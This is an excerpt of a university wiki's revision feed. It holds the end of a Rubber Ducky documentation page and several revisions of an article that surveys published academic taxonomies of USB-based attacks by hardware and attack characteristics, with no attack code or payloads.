ENTER&lt;br /&gt;
STRING exit&lt;br /&gt;
ENTER&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Used Hardware ==&lt;br /&gt;
&lt;br /&gt;
* USB Rubber Ducky&lt;br /&gt;
* Windows 10 PC&lt;br /&gt;
* Ubuntu Linux 20.04 Virtual Machine&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* [[Hak5 Rubber Ducky]]&lt;br /&gt;
* [[USB Rubber Ducky: Firmware Update]]&lt;br /&gt;
* https://ducktoolkit.com/&lt;br /&gt;
* https://shop.hak5.org/products/usb-rubber-ducky-deluxe&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>TLee</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=USB_Attack_Taxonomy&amp;diff=16636</id>
		<title>USB Attack Taxonomy</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=USB_Attack_Taxonomy&amp;diff=16636"/>
		<updated>2024-12-04T15:20:03Z</updated>

		<summary type="html">&lt;p&gt;TLee: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction == &lt;br /&gt;
&lt;br /&gt;
Since the upcoming of USB in 1995, attackers have used USB peripherals to launch a variety of cyber-attacks, exploiting the vulnerabilities and properties of these devices. This article provides an overview of how the variety of existing USB attacks can be categorized through the USB attack taxonomy. For indepth details, please refer to the respective work.&lt;br /&gt;
&lt;br /&gt;
== Goal of an USB Attack Taxonomy ==&lt;br /&gt;
&lt;br /&gt;
Though there are plenty of publications, including threat models and analysis, attacks taxonomy hasn’t been much of a goal of investigations. Many of those investigations refer to cyber-attacks in whole, whereas USB-based attacks remain unreviewed. Providing a comprehensive classification in regard to USB attacks allows to assess the qualification and equipment level of the adversary or group of adversaries, predict potential consequences, estimate possible attack vectors and even identify adversary’s probable affiliation with a specific group/groups according to attack aspects. Furthermore it can be useful in developing appropriate security mechanisms - both prevention and detection - against these attacks.&lt;br /&gt;
&lt;br /&gt;
== Types of USB Attack Taxonomies ==&lt;br /&gt;
&lt;br /&gt;
=== Categorization based on the required hardware ===&lt;br /&gt;
&lt;br /&gt;
2017 Nissim et.al. reviewed 29 different USB-based attacks and utilized a new taxonomy to classify them into four major categories. For each attack, the objective it achieves was addressed and the associated and vulnerable USB peripherals and hardware identified. In Fig. 1 and 2 the authors presented a taxonomy based on the USB hardware required for executing the attacks.&lt;br /&gt;
&lt;br /&gt;
[[File:Nissim_4categories.jpg|thumb|Fig.1: A taxonomy of USB-based attacks, categorized based on the hardware&lt;br /&gt;
required to execute the attacks]]&lt;br /&gt;
&lt;br /&gt;
Fig. 1 presents three major categories:&lt;br /&gt;
&lt;br /&gt;
A. programmable microcontrollers&amp;lt;br /&amp;gt;&lt;br /&gt;
B. the common USB peripheral devices that can be found in most organizations and households&amp;lt;br /&amp;gt;&lt;br /&gt;
 B1. devices whose firmware was maliciously modified in order to perform the attack&amp;lt;br /&amp;gt;&lt;br /&gt;
 B2. devices that do not require firmware modification&amp;lt;br /&amp;gt;&lt;br /&gt;
C. crafted devices composed only from electrical hardware components&lt;br /&gt;
&lt;br /&gt;
Underneath lists the attacks covered by Nissim et.al.’s survey, their year of publication and relevance to the categories and taxonomy presented in Fig.1:&lt;br /&gt;
&lt;br /&gt;
A. Programmable microcontrollers:&lt;br /&gt;
# Rubber Ducky - 2010 &lt;br /&gt;
# PHUKD/URFUKED - 2010 &lt;br /&gt;
# USBdriveby - 2014 &lt;br /&gt;
# Evilduino - 2014 &lt;br /&gt;
# Unintended USB channels - 2011 &lt;br /&gt;
# TURNIPSCHOOL (COTTONMOUTH-1) - 2015 &lt;br /&gt;
# RIT attack via USB mass storage - 2012 &lt;br /&gt;
# Attackson wireless USB dongles - 2015 &lt;br /&gt;
# Default gateway override - 2014 &lt;br /&gt;
B1. Devices whose firmware was maliciously modified in order to perform the attack:&lt;br /&gt;
# Smartphone based HID attacks - 2010 &lt;br /&gt;
# DNS override by modified USB firmware - 2014 &lt;br /&gt;
# Keyboard emulation by modified USB firmware - 2014 &lt;br /&gt;
# Hidden partition patch - 2014 &lt;br /&gt;
# Password protection bypass patch - 2014 &lt;br /&gt;
# Virtual machine break-out -2014 &lt;br /&gt;
# Bootsectorvirus - 2014 &lt;br /&gt;
# iSeeYou: Disabling the MacBook webcam indicator LED - 2014 &lt;br /&gt;
B2. Devices that do not require firmware modification:&lt;br /&gt;
# .LNK Stuxnet/Fanny USB flash drive exploit (Shell extension exploits) - 2010 &lt;br /&gt;
# USB Backdoor into air-gapped hosts - 2014 &lt;br /&gt;
# Data hiding on USB mass storage - 2010 &lt;br /&gt;
# Autorun exploits - 2005&lt;br /&gt;
# Cold boot - 2008&lt;br /&gt;
# Buffer overflow - 2005&lt;br /&gt;
# Driver update - 2011 &lt;br /&gt;
# Device firmware upgrade (DFU) - 2014 &lt;br /&gt;
# USB Thief - 2016 &lt;br /&gt;
# Attacks on smartphones via the USB port - 2010 &lt;br /&gt;
# USBee attack - 2016&lt;br /&gt;
C. Crafted devices composed only from electrical hardware components:&lt;br /&gt;
# USB Killer&lt;br /&gt;
&lt;br /&gt;
Furtheron, the attacks were summerzied in a table, weather each was associated to:&lt;br /&gt;
* &amp;quot;USB Peripheral (keyboard, mouse, storage, smartphone, speaker, camera)&amp;quot;, were some devices underwent malicious firmware modification, and/or&lt;br /&gt;
* &amp;quot;Persona of USB Connected Microcontroller (keyboard, mouse, storage, smartphone, speaker, network adapter, cable)&amp;quot;, refering to the type of device emulated by a USB connected programmable microcontroller, often disguised by an external casing of an innocuous USB device&lt;br /&gt;
&lt;br /&gt;
The table made visible, that the peripheral by which more than 51% of the 29 attacks can be carried out is the USB storage device, followed by the keyboard device and microcontrollers that impersonate a keyboard.&lt;br /&gt;
&lt;br /&gt;
=== Categorization based on attack characteristics ===&lt;br /&gt;
&lt;br /&gt;
2019 Mamchenko and Sabanov collected already existing taxonomy, based on general cyberthreat models, some of them including USB, see Fig.3.&lt;br /&gt;
[[File:Machenko.jpg|500px|thumb|center|Fig.3: Analyzed cyberattacks and USB-based attacks taxonomies by Mamchenko and Sabanov (2019)]]&lt;br /&gt;
&lt;br /&gt;
Based on the collection they created a more complete, enhanced taxonomy. Other than the taxonomy in Nissim et.al., each category reflects one way of categorizing a certain attack within that given category. It is listed as follows:&amp;lt;br /&amp;gt;&lt;br /&gt;
Attack:&lt;br /&gt;
&amp;lt;div style=&amp;quot;columns: 3;&amp;gt;&lt;br /&gt;
# Source of Threat&lt;br /&gt;
## outsider threats;&lt;br /&gt;
## insider threats.&lt;br /&gt;
# Level of Complexity&lt;br /&gt;
## no special training required;&lt;br /&gt;
## of intermediate complexity;&lt;br /&gt;
## complex.&lt;br /&gt;
# Level of Secrecy&lt;br /&gt;
## very hard to be detected;&lt;br /&gt;
## covert;&lt;br /&gt;
## not-to-be-hidden.&lt;br /&gt;
# Attack Mechanism&lt;br /&gt;
## code injection;&lt;br /&gt;
## data extraction;&lt;br /&gt;
## protocol masquerading;&lt;br /&gt;
## protocol corruption&lt;br /&gt;
## signal eavesdropping;&lt;br /&gt;
## signal injection.&lt;br /&gt;
# Object of Impact&lt;br /&gt;
## operation systems and system software/drivers;&lt;br /&gt;
## servers;&lt;br /&gt;
## hardware;&lt;br /&gt;
## applications;&lt;br /&gt;
## mobile technology devices;&lt;br /&gt;
## user data;&lt;br /&gt;
## networks.&lt;br /&gt;
# Adversary Intensions&lt;br /&gt;
## to steal data;&lt;br /&gt;
## to modify data;&lt;br /&gt;
## to delete information;&lt;br /&gt;
## to destroy hardware;&lt;br /&gt;
## to gain access to system resources;&lt;br /&gt;
## to cause malfunctions/DOS.&lt;br /&gt;
# Impact Layer&lt;br /&gt;
## human;&lt;br /&gt;
## application;&lt;br /&gt;
## transport;&lt;br /&gt;
## physical.&lt;br /&gt;
# Assets&lt;br /&gt;
## programmable microcontrollers;&lt;br /&gt;
## maliciously reprogrammed peripherals;&lt;br /&gt;
## not re-programmed peripherals;&lt;br /&gt;
## electrical devices;&lt;br /&gt;
## special hardware;&lt;br /&gt;
## malicious programs.&lt;br /&gt;
# Actions&lt;br /&gt;
## probe;&lt;br /&gt;
## scan;&lt;br /&gt;
## flood;&lt;br /&gt;
## authenticate;&lt;br /&gt;
## bypass;&lt;br /&gt;
## spoof;&lt;br /&gt;
## read;&lt;br /&gt;
## copy;&lt;br /&gt;
## steal;&lt;br /&gt;
## modfy;&lt;br /&gt;
## delete;&lt;br /&gt;
## destroy hardware;&lt;br /&gt;
## eavesdrop;&lt;br /&gt;
## cause malfunction/DOS.&lt;br /&gt;
#Severity of Consequences&lt;br /&gt;
## disastrous effects;&lt;br /&gt;
## severe;&lt;br /&gt;
## intermedeate severity;&lt;br /&gt;
## irresponsible.&lt;br /&gt;
# Type of Damage from Attack&lt;br /&gt;
## physical;&lt;br /&gt;
## psychological;&lt;br /&gt;
## economic;&lt;br /&gt;
## political;&lt;br /&gt;
## reputational.&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Further Reading ==&lt;br /&gt;
&lt;br /&gt;
* Chengzhi Sun, Jiyu Lu, and Yunqing Liu. Analysis and prevention of information security of usb. In 2021 International Conference on Electronic Information Engineering and Computer Science (EIECS), pages 25–32, 2021.&lt;br /&gt;
* Jianming Fu, Jianwei Huang, and Lanxin Zhang. Curtain: Keep your hosts away from usb attacks. In Phong Q. Nguyen and Jianying Zhou, editors, Information Security, pages 455–471, Cham, 2017. Springer International Publishing.&lt;br /&gt;
* Mark Mamchenko and Alexey Sabanov. Exploring the taxonomy of usb-based attacks. In 2019 Twelfth International Conference ”Management of large-scale system development” (MLSD), pages 1–4, 2019.&lt;br /&gt;
* Nir Nissim, Ran Yahalom, and Yuval Elovici. Usb-based attacks. Computers &amp;amp; Security, 70:675–688, 2017.&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>TLee</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=USB_Attack_Taxonomy&amp;diff=16634</id>
		<title>USB Attack Taxonomy</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=USB_Attack_Taxonomy&amp;diff=16634"/>
		<updated>2024-12-04T14:22:55Z</updated>

		<summary type="html">&lt;p&gt;TLee: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction == &lt;br /&gt;
&lt;br /&gt;
Since the upcoming of USB in 1995, attackers have used USB peripherals to launch a variety of cyber-attacks, exploiting the vulnerabilities and properties of these devices. This article provides an overview of how the variety of existing USB attacks can be categorized through the USB attack taxonomy. For indepth details, please refer to the respective work.&lt;br /&gt;
&lt;br /&gt;
== Goal of an USB Attack Taxonomy ==&lt;br /&gt;
&lt;br /&gt;
Though there are plenty of publications, including threat models and analysis, attacks taxonomy hasn’t been much of a goal of investigations. Many of those investigations refer to cyber-attacks in whole, whereas USB-based attacks remain unreviewed. Providing a comprehensive classification in regard to USB attacks allows to assess the qualification and equipment level of the adversary or group of adversaries, predict potential consequences, estimate possible attack vectors and even identify adversary’s probable affiliation with a specific group/groups according to attack aspects. Furthermore it can be useful in developing appropriate security mechanisms - both prevention and detection - against these attacks.&lt;br /&gt;
&lt;br /&gt;
== Types of USB Attack Taxonomies ==&lt;br /&gt;
&lt;br /&gt;
=== Categorization based on the required hardware ===&lt;br /&gt;
&lt;br /&gt;
2017 Nissim et.al. reviewed 29 different USB-based attacks and utilized a new taxonomy to classify them into four major categories. For each attack, the objective it achieves was addressed and the associated and vulnerable USB peripherals and hardware identified. In Fig. 1 and 2 the authors presented a taxonomy based on the USB hardware required for executing the attacks.&lt;br /&gt;
&lt;br /&gt;
[[File:Nissim_4categories.jpg|thumb|Fig.1: A taxonomy of USB-based attacks, categorized based on the hardware&lt;br /&gt;
required to execute the attacks]]&lt;br /&gt;
&lt;br /&gt;
Fig. 1 presents three major categories:&lt;br /&gt;
&lt;br /&gt;
A. programmable microcontrollers&amp;lt;br /&amp;gt;&lt;br /&gt;
B. the common USB peripheral devices that can be found in most organizations and households&amp;lt;br /&amp;gt;&lt;br /&gt;
 B1. devices whose firmware was maliciously modified in order to perform the attack&amp;lt;br /&amp;gt;&lt;br /&gt;
 B2. devices that do not require firmware modification&amp;lt;br /&amp;gt;&lt;br /&gt;
C. crafted devices composed only from electrical hardware components&lt;br /&gt;
&lt;br /&gt;
Underneath lists the attacks covered by Nissim et.al.’s survey, their year of publication and relevance to the categories and taxonomy presented in Fig.1:&lt;br /&gt;
&lt;br /&gt;
A. Programmable microcontrollers:&lt;br /&gt;
# Rubber Ducky - 2010 &lt;br /&gt;
# PHUKD/URFUKED - 2010 &lt;br /&gt;
# USBdriveby - 2014 &lt;br /&gt;
# Evilduino - 2014 &lt;br /&gt;
# Unintended USB channels - 2011 &lt;br /&gt;
# TURNIPSCHOOL (COTTONMOUTH-1) - 2015 &lt;br /&gt;
# RIT attack via USB mass storage - 2012 &lt;br /&gt;
# Attackson wireless USB dongles - 2015 &lt;br /&gt;
# Default gateway override - 2014 &lt;br /&gt;
B1. Devices whose firmware was maliciously modified in order to perform the attack:&lt;br /&gt;
# Smartphone based HID attacks - 2010 &lt;br /&gt;
# DNS override by modified USB firmware - 2014 &lt;br /&gt;
# Keyboard emulation by modified USB firmware - 2014 &lt;br /&gt;
# Hidden partition patch - 2014 &lt;br /&gt;
# Password protection bypass patch - 2014 &lt;br /&gt;
# Virtual machine break-out -2014 &lt;br /&gt;
# Bootsectorvirus - 2014 &lt;br /&gt;
# iSeeYou: Disabling the MacBook webcam indicator LED - 2014 &lt;br /&gt;
B2. Devices that do not require firmware modification:&lt;br /&gt;
# .LNK Stuxnet/Fanny USB flash drive exploit (Shell extension exploits) - 2010 &lt;br /&gt;
# USB Backdoor into air-gapped hosts - 2014 &lt;br /&gt;
# Data hiding on USB mass storage - 2010 &lt;br /&gt;
# Autorun exploits - 2005&lt;br /&gt;
# Cold boot - 2008&lt;br /&gt;
# Buffer overflow - 2005&lt;br /&gt;
# Driver update - 2011 &lt;br /&gt;
# Device firmware upgrade (DFU) - 2014 &lt;br /&gt;
# USB Thief - 2016 &lt;br /&gt;
# Attacks on smartphones via the USB port - 2010 &lt;br /&gt;
# USBee attack - 2016&lt;br /&gt;
C. Crafted devices composed only from electrical hardware components:&lt;br /&gt;
# USB Killer&lt;br /&gt;
&lt;br /&gt;
Furtheron, the attacks were summerzied in a table, weather each was associated to:&lt;br /&gt;
* &amp;quot;USB Peripheral (keyboard, mouse, storage, smartphone, speaker, camera)&amp;quot;, were some devices underwent malicious firmware modification, and/or&lt;br /&gt;
* &amp;quot;Persona of USB Connected Microcontroller (keyboard, mouse, storage, smartphone, speaker, network adapter, cable)&amp;quot;, refering to the type of device emulated by a USB connected programmable microcontroller, often disguised by an external casing of an innocuous USB device&lt;br /&gt;
&lt;br /&gt;
The table made visible, that the peripheral by which more than 51% of the 29 attacks can be carried out is the USB storage device, followed by the keyboard device and microcontrollers that impersonate a keyboard.&lt;br /&gt;
&lt;br /&gt;
=== Categorization based on attack characteristics ===&lt;br /&gt;
&lt;br /&gt;
2019 Mamchenko and Sabanov collected already existing taxonomy, based on general cyberthreat models, some of them including USB, see Fig.3.&lt;br /&gt;
[[File:Machenko.jpg|500px|thumb|center|Fig.3: Analyzed cyberattacks and USB-based attacks taxonomies by Mamchenko and Sabanov (2019)]]&lt;br /&gt;
&lt;br /&gt;
Based on the collection they created a more complete, enhanced taxonomy. Other than the taxonomy in Nissim et.al., each category reflects one way of categorizing a certain attack within that given category. It is listed as follows:&amp;lt;br /&amp;gt;&lt;br /&gt;
Attack:&lt;br /&gt;
&amp;lt;div style=&amp;quot;columns: 3;&amp;gt;&lt;br /&gt;
# Source of Threat&lt;br /&gt;
## outsider threats;&lt;br /&gt;
## insider threats.&lt;br /&gt;
# Level of Complexity&lt;br /&gt;
## no special training required;&lt;br /&gt;
## of intermediate complexity;&lt;br /&gt;
## complex.&lt;br /&gt;
# Level of Secrecy&lt;br /&gt;
## very hard to be detected;&lt;br /&gt;
## covert;&lt;br /&gt;
## not-to-be-hidden.&lt;br /&gt;
# Attack Mechanism&lt;br /&gt;
## code injection;&lt;br /&gt;
## data extraction;&lt;br /&gt;
## protocol masquerading;&lt;br /&gt;
## protocol corruption&lt;br /&gt;
## signal eavesdropping;&lt;br /&gt;
## signal injection.&lt;br /&gt;
# Object of Impact&lt;br /&gt;
## operation systems and system software/drivers;&lt;br /&gt;
## servers;&lt;br /&gt;
## hardware;&lt;br /&gt;
## applications;&lt;br /&gt;
## mobile technology devices;&lt;br /&gt;
## user data;&lt;br /&gt;
## networks.&lt;br /&gt;
# Adversary Intensions&lt;br /&gt;
## to steal data;&lt;br /&gt;
## to modify data;&lt;br /&gt;
## to delete information;&lt;br /&gt;
## to destroy hardware;&lt;br /&gt;
## to gain access to system resources;&lt;br /&gt;
## to cause malfunctions/DOS.&lt;br /&gt;
# Impact Layer&lt;br /&gt;
## human;&lt;br /&gt;
## application;&lt;br /&gt;
## transport;&lt;br /&gt;
## physical.&lt;br /&gt;
# Assets&lt;br /&gt;
## programmable microcontrollers;&lt;br /&gt;
## maliciously reprogrammed peripherals;&lt;br /&gt;
## not re-programmed peripherals;&lt;br /&gt;
## electrical devices;&lt;br /&gt;
## special hardware;&lt;br /&gt;
## malicious programs.&lt;br /&gt;
# Actions&lt;br /&gt;
## probe;&lt;br /&gt;
## scan;&lt;br /&gt;
## flood;&lt;br /&gt;
## authenticate;&lt;br /&gt;
## bypass;&lt;br /&gt;
## spoof;&lt;br /&gt;
## read;&lt;br /&gt;
## copy;&lt;br /&gt;
## steal;&lt;br /&gt;
## modfy;&lt;br /&gt;
## delete;&lt;br /&gt;
## destroy hardware;&lt;br /&gt;
## eavesdrop;&lt;br /&gt;
## cause malfunction/DOS.&lt;br /&gt;
#Severity of Consequences&lt;br /&gt;
## disastrous effects;&lt;br /&gt;
## severe;&lt;br /&gt;
## intermedeate severity;&lt;br /&gt;
## irresponsible.&lt;br /&gt;
# Type of Damage from Attack&lt;br /&gt;
## physical;&lt;br /&gt;
## psychological;&lt;br /&gt;
## economic;&lt;br /&gt;
## political;&lt;br /&gt;
## reputational.&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Further Reading ==&lt;br /&gt;
&lt;br /&gt;
* Chengzhi Sun, Jiyu Lu, and Yunqing Liu. Analysis and prevention of information security of usb. In 2021 International Conference on Electronic Information Engineering and Computer Science (EIECS), pages 25–32, 2021.&lt;br /&gt;
* Jianming Fu, Jianwei Huang, and Lanxin Zhang. Curtain: Keep your hosts away from usb attacks. In Phong Q. Nguyen and Jianying Zhou, editors, Information Security, pages 455–471, Cham, 2017. Springer International Publishing.&lt;br /&gt;
* Mark Mamchenko and Alexey Sabanov. Exploring the taxonomy of usb-based attacks. In 2019 Twelfth International Conference ”Management of large-scale system development” (MLSD), pages 1–4, 2019.&lt;br /&gt;
* Nir Nissim, Ran Yahalom, and Yuval Elovici. Usb-based attacks. Computers &amp;amp; Security, 70:675–688, 2017.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
{{Reflist}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>TLee</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=USB_Attack_Taxonomy&amp;diff=16633</id>
		<title>USB Attack Taxonomy</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=USB_Attack_Taxonomy&amp;diff=16633"/>
		<updated>2024-12-04T14:19:52Z</updated>

		<summary type="html">&lt;p&gt;TLee: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction == &lt;br /&gt;
&lt;br /&gt;
Since the upcoming of USB in 1995 &amp;lt;ref&amp;gt;{{cite web |url=https://spectrum.ieee.org/how-usb-came-to-be |title=How USB Came to Be Intel’s 26-year-old plug-and-play tech made it easy to connect everything v2.0 |date=Februar 22, 2022 |publisher=IEEE Spektrum |access-date=22 September 2023}}&amp;lt;/ref&amp;gt;, attackers have used USB peripherals to launch a variety of cyber-attacks, exploiting the vulnerabilities and properties of these devices. This article provides an overview of how the variety of existing USB attacks can be categorized through the USB attack taxonomy. For indepth details, please refer to the respective work.&lt;br /&gt;
&lt;br /&gt;
== Goal of an USB Attack Taxonomy ==&lt;br /&gt;
&lt;br /&gt;
Though there are plenty of publications, including threat models and analysis, attacks taxonomy hasn’t been much of a goal of investigations. Many of those investigations refer to cyber-attacks in whole, whereas USB-based attacks remain unreviewed. Providing a comprehensive classification in regard to USB attacks allows to assess the qualification and equipment level of the adversary or group of adversaries, predict potential consequences, estimate possible attack vectors and even identify adversary’s probable affiliation with a specific group/groups according to attack aspects. Furthermore it can be useful in developing appropriate security mechanisms - both prevention and detection - against these attacks.&lt;br /&gt;
&lt;br /&gt;
== Types of USB Attack Taxonomies ==&lt;br /&gt;
&lt;br /&gt;
=== Categorization based on the required hardware ===&lt;br /&gt;
&lt;br /&gt;
2017 Nissim et.al. reviewed 29 different USB-based attacks and utilized a new taxonomy to classify them into four major categories. For each attack, the objective it achieves was addressed and the associated and vulnerable USB peripherals and hardware identified. In Fig. 1 and 2 the authors presented a taxonomy based on the USB hardware required for executing the attacks.&lt;br /&gt;
&lt;br /&gt;
[[File:Nissim_4categories.jpg|thumb|Fig.1: A taxonomy of USB-based attacks, categorized based on the hardware&lt;br /&gt;
required to execute the attacks]]&lt;br /&gt;
&lt;br /&gt;
Fig. 1 presents three major categories:&lt;br /&gt;
&lt;br /&gt;
A. programmable microcontrollers&amp;lt;br /&amp;gt;&lt;br /&gt;
B. the common USB peripheral devices that can be found in most organizations and households&amp;lt;br /&amp;gt;&lt;br /&gt;
 B1. devices whose firmware was maliciously modified in order to perform the attack&amp;lt;br /&amp;gt;&lt;br /&gt;
 B2. devices that do not require firmware modification&amp;lt;br /&amp;gt;&lt;br /&gt;
C. crafted devices composed only from electrical hardware components&lt;br /&gt;
&lt;br /&gt;
Underneath lists the attacks covered by Nissim et.al.’s survey, their year of publication and relevance to the categories and taxonomy presented in Fig.1:&lt;br /&gt;
&lt;br /&gt;
A. Programmable microcontrollers:&lt;br /&gt;
# Rubber Ducky - 2010 &lt;br /&gt;
# PHUKD/URFUKED - 2010 &lt;br /&gt;
# USBdriveby - 2014 &lt;br /&gt;
# Evilduino - 2014 &lt;br /&gt;
# Unintended USB channels - 2011 &lt;br /&gt;
# TURNIPSCHOOL (COTTONMOUTH-1) - 2015 &lt;br /&gt;
# RIT attack via USB mass storage - 2012 &lt;br /&gt;
# Attackson wireless USB dongles - 2015 &lt;br /&gt;
# Default gateway override - 2014 &lt;br /&gt;
B1. Devices whose firmware was maliciously modified in order to perform the attack:&lt;br /&gt;
# Smartphone based HID attacks - 2010 &lt;br /&gt;
# DNS override by modified USB firmware - 2014 &lt;br /&gt;
# Keyboard emulation by modified USB firmware - 2014 &lt;br /&gt;
# Hidden partition patch - 2014 &lt;br /&gt;
# Password protection bypass patch - 2014 &lt;br /&gt;
# Virtual machine break-out -2014 &lt;br /&gt;
# Bootsectorvirus - 2014 &lt;br /&gt;
# iSeeYou: Disabling the MacBook webcam indicator LED - 2014 &lt;br /&gt;
B2. Devices that do not require firmware modification:&lt;br /&gt;
# .LNK Stuxnet/Fanny USB flash drive exploit (Shell extension exploits) - 2010 &lt;br /&gt;
# USB Backdoor into air-gapped hosts - 2014 &lt;br /&gt;
# Data hiding on USB mass storage - 2010 &lt;br /&gt;
# Autorun exploits - 2005&lt;br /&gt;
# Cold boot - 2008&lt;br /&gt;
# Buffer overflow - 2005&lt;br /&gt;
# Driver update - 2011 &lt;br /&gt;
# Device firmware upgrade (DFU) - 2014 &lt;br /&gt;
# USB Thief - 2016 &lt;br /&gt;
# Attacks on smartphones via the USB port - 2010 &lt;br /&gt;
# USBee attack - 2016&lt;br /&gt;
C. Crafted devices composed only from electrical hardware components:&lt;br /&gt;
# USB Killer&lt;br /&gt;
&lt;br /&gt;
Furtheron, the attacks were summerzied in a table, weather each was associated to:&lt;br /&gt;
* &amp;quot;USB Peripheral (keyboard, mouse, storage, smartphone, speaker, camera)&amp;quot;, were some devices underwent malicious firmware modification, and/or&lt;br /&gt;
* &amp;quot;Persona of USB Connected Microcontroller (keyboard, mouse, storage, smartphone, speaker, network adapter, cable)&amp;quot;, refering to the type of device emulated by a USB connected programmable microcontroller, often disguised by an external casing of an innocuous USB device&lt;br /&gt;
&lt;br /&gt;
The table made visible, that the peripheral by which more than 51% of the 29 attacks can be carried out is the USB storage device, followed by the keyboard device and microcontrollers that impersonate a keyboard.&lt;br /&gt;
&lt;br /&gt;
=== Categorization based on attack characteristics ===&lt;br /&gt;
&lt;br /&gt;
2019 Mamchenko and Sabanov collected already existing taxonomy, based on general cyberthreat models, some of them including USB, see Fig.3.&lt;br /&gt;
[[File:Machenko.jpg|500px|thumb|center|Fig.3: Analyzed cyberattacks and USB-based attacks taxonomies by Mamchenko and Sabanov (2019)]]&lt;br /&gt;
&lt;br /&gt;
Based on the collection they created a more complete, enhanced taxonomy. Other than the taxonomy in Nissim et.al., each category reflects one way of categorizing a certain attack within that given category. It is listed as follows:&amp;lt;br /&amp;gt;&lt;br /&gt;
Attack:&lt;br /&gt;
&amp;lt;div style=&amp;quot;columns: 3;&amp;gt;&lt;br /&gt;
# Source of Threat&lt;br /&gt;
## outsider threats;&lt;br /&gt;
## insider threats.&lt;br /&gt;
# Level of Complexity&lt;br /&gt;
## no special training required;&lt;br /&gt;
## of intermediate complexity;&lt;br /&gt;
## complex.&lt;br /&gt;
# Level of Secrecy&lt;br /&gt;
## very hard to be detected;&lt;br /&gt;
## covert;&lt;br /&gt;
## not-to-be-hidden.&lt;br /&gt;
# Attack Mechanism&lt;br /&gt;
## code injection;&lt;br /&gt;
## data extraction;&lt;br /&gt;
## protocol masquerading;&lt;br /&gt;
## protocol corruption&lt;br /&gt;
## signal eavesdropping;&lt;br /&gt;
## signal injection.&lt;br /&gt;
# Object of Impact&lt;br /&gt;
## operation systems and system software/drivers;&lt;br /&gt;
## servers;&lt;br /&gt;
## hardware;&lt;br /&gt;
## applications;&lt;br /&gt;
## mobile technology devices;&lt;br /&gt;
## user data;&lt;br /&gt;
## networks.&lt;br /&gt;
# Adversary Intensions&lt;br /&gt;
## to steal data;&lt;br /&gt;
## to modify data;&lt;br /&gt;
## to delete information;&lt;br /&gt;
## to destroy hardware;&lt;br /&gt;
## to gain access to system resources;&lt;br /&gt;
## to cause malfunctions/DOS.&lt;br /&gt;
# Impact Layer&lt;br /&gt;
## human;&lt;br /&gt;
## application;&lt;br /&gt;
## transport;&lt;br /&gt;
## physical.&lt;br /&gt;
# Assets&lt;br /&gt;
## programmable microcontrollers;&lt;br /&gt;
## maliciously reprogrammed peripherals;&lt;br /&gt;
## not re-programmed peripherals;&lt;br /&gt;
## electrical devices;&lt;br /&gt;
## special hardware;&lt;br /&gt;
## malicious programs.&lt;br /&gt;
# Actions&lt;br /&gt;
## probe;&lt;br /&gt;
## scan;&lt;br /&gt;
## flood;&lt;br /&gt;
## authenticate;&lt;br /&gt;
## bypass;&lt;br /&gt;
## spoof;&lt;br /&gt;
## read;&lt;br /&gt;
## copy;&lt;br /&gt;
## steal;&lt;br /&gt;
## modfy;&lt;br /&gt;
## delete;&lt;br /&gt;
## destroy hardware;&lt;br /&gt;
## eavesdrop;&lt;br /&gt;
## cause malfunction/DOS.&lt;br /&gt;
#Severity of Consequences&lt;br /&gt;
## disastrous effects;&lt;br /&gt;
## severe;&lt;br /&gt;
## intermedeate severity;&lt;br /&gt;
## irresponsible.&lt;br /&gt;
# Type of Damage from Attack&lt;br /&gt;
## physical;&lt;br /&gt;
## psychological;&lt;br /&gt;
## economic;&lt;br /&gt;
## political;&lt;br /&gt;
## reputational.&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Further Reading ==&lt;br /&gt;
&lt;br /&gt;
* Chengzhi Sun, Jiyu Lu, and Yunqing Liu. Analysis and prevention of information security of usb. In 2021 International Conference on Electronic Information Engineering and Computer Science (EIECS), pages 25–32, 2021.&lt;br /&gt;
* Jianming Fu, Jianwei Huang, and Lanxin Zhang. Curtain: Keep your hosts away from usb attacks. In Phong Q. Nguyen and Jianying Zhou, editors, Information Security, pages 455–471, Cham, 2017. Springer International Publishing.&lt;br /&gt;
* Mark Mamchenko and Alexey Sabanov. Exploring the taxonomy of usb-based attacks. In 2019 Twelfth International Conference ”Management of large-scale system development” (MLSD), pages 1–4, 2019.&lt;br /&gt;
* Nir Nissim, Ran Yahalom, and Yuval Elovici. Usb-based attacks. Computers &amp;amp; Security, 70:675–688, 2017.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
{{Reflist}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>TLee</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=USB_Attack_Taxonomy&amp;diff=16632</id>
		<title>USB Attack Taxonomy</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=USB_Attack_Taxonomy&amp;diff=16632"/>
		<updated>2024-12-04T14:19:10Z</updated>

		<summary type="html">&lt;p&gt;TLee: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction == &lt;br /&gt;
&lt;br /&gt;
